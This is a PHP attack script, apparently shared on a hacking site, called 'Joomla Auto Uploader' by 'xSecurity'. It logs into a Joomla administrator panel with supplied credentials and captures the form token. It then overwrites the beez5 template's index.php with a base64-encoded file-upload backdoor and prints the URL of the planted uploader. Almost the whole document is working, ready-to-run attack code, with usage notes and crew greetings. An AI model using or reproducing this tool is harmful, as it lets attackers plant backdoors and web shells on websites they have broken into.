Joomla Auto Uploader | Dev-tun.tn

<?
    /*
        Title : Joomla Auto Uploader v1
        By    : xSecurity
        4u    : Lov3rDNS - Mr.Dm4r - x00x TeaM - b0x !
        home  : sec4ever.com - is-sec.com
        Usage : php uploader.php
            -> target.com
            -> username
            -> password
            -> then go to target.com/templates/beez5/index.php
        & gz :)
    */
    print("
   _                       _                     _                 _
  (_) ___   ___  _ __ ___ | | __ _   _   _ _ __ | | ___   __ _  __| |
  | |/ _ \ / _ \| '_ ` _ \| |/ _` | | | | | '_ \| |/ _ \ / _` |/ _` |
  | | (_) | (_) | | | | | | | (_| | | |_| | |_) | | (_) | (_| | (_| |
 _/ |\___/ \___/|_| |_| |_|_|\__,_|  \__,_| .__/|_|\___/ \__,_|\__,_|
|__/                                      |_|xSecurity\n\n");

    $path = "/administrator/index.php?option=com_templates&view=source&layout=edit";
    print "[*] target: ";
    $url = trim(fgets(STDIN,1024));
    $target = "http://".$url.$path;
    print "[*] Username: ";
    $user = trim(fgets(STDIN,1024));
    print "[*] Password: ";
    $pass = trim(fgets(STDIN,1024));

    $uploader = base64_decode("PD8KCWVjaG8gJzx0aXRsZT5VcGxvYWQgRmlsZXMgeFNlY3VyaXR5PC90aXRsZT4nOwoJZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsKCWVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwoJaWYoJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIpCgl7CgkJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIAoJCXsgCgkJCWVjaG8gJzxiPlVwbG9hZCBDb21wbGF0ZSAhISE8L2I+PGJyPjxicj4nOyAKCQl9IGVsc2UgeyAKCQllY2hvICc8Yj5VcGxvYWQgRmFpbGVkICEhITwvYj48YnI+PGJyPic7IAoJCX0KCX0KCWVjaG8gJyNJbmplY3QgQnkgeFNlY3VyaXR5IHQwMGwgOyknOwo/Pg==");
    $loginHash = token($target);
    $login = brute($target,$user,$pass,$loginHash);
    if($login)
    {
        print "[+] Login Complete ..\n";
        $uploadHash = token($target);
        print "[+] Token: {$uploadHash}\n";
        print "[+] Trying To Upload .. \n";
        $ups = upload($target,$uploader,$uploadHash);
        if(eregi("File successfully saved",$ups))
        {
            print "[+] Upload Complete :)\n";
            print "[+] Here Uploader : http://{$url}/templates/beez5/index.php\n";
        } else {
            print "[-] ERROR";
        }
    }
    # Functionz
    function token($target)
    {
        $curl = curl_init();
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
        curl_setopt($curl,CURLOPT_URL, $target);
        curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
        curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
        $get = curl_exec($curl);
        preg_match('/<input type="hidden" name="(.*?)" value="1"/', $get, $token);
        return $token[1];
    }
    function brute($target,$user,$pass,$loginHash)
    {
        $curl = curl_init();
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
        curl_setopt($curl,CURLOPT_URL, $target);
        curl_setopt($curl,CURLOPT_POSTFIELDS,"username={$user}&passwd={$pass}&lang=&option=com_login&task=login&return=aW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJnRhc2s9c291cmNlLmVkaXQmaWQ9TlRBMU9tbHVaR1Y0TG5Cb2NBPT0=&{$loginHash}=1");
        @curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
        @curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
        $brute = curl_exec($curl);
        return $brute;
    }
    function upload($target,$uploader,$uploadHash)
    {
        $curl = curl_init();
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
        curl_setopt($curl,CURLOPT_URL, $target);
        curl_setopt($curl,CURLOPT_POSTFIELDS,"jform%5Bsource%5D={$uploader}&task=source.apply&{$uploadHash}=1&jform%5Bextension_id%5D=505&jform%5Bfilename%5D=index.php");
        @curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
        @curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
        $upload = curl_exec($curl);
        return $upload;
    }
    @system("del cookie.txt");
?>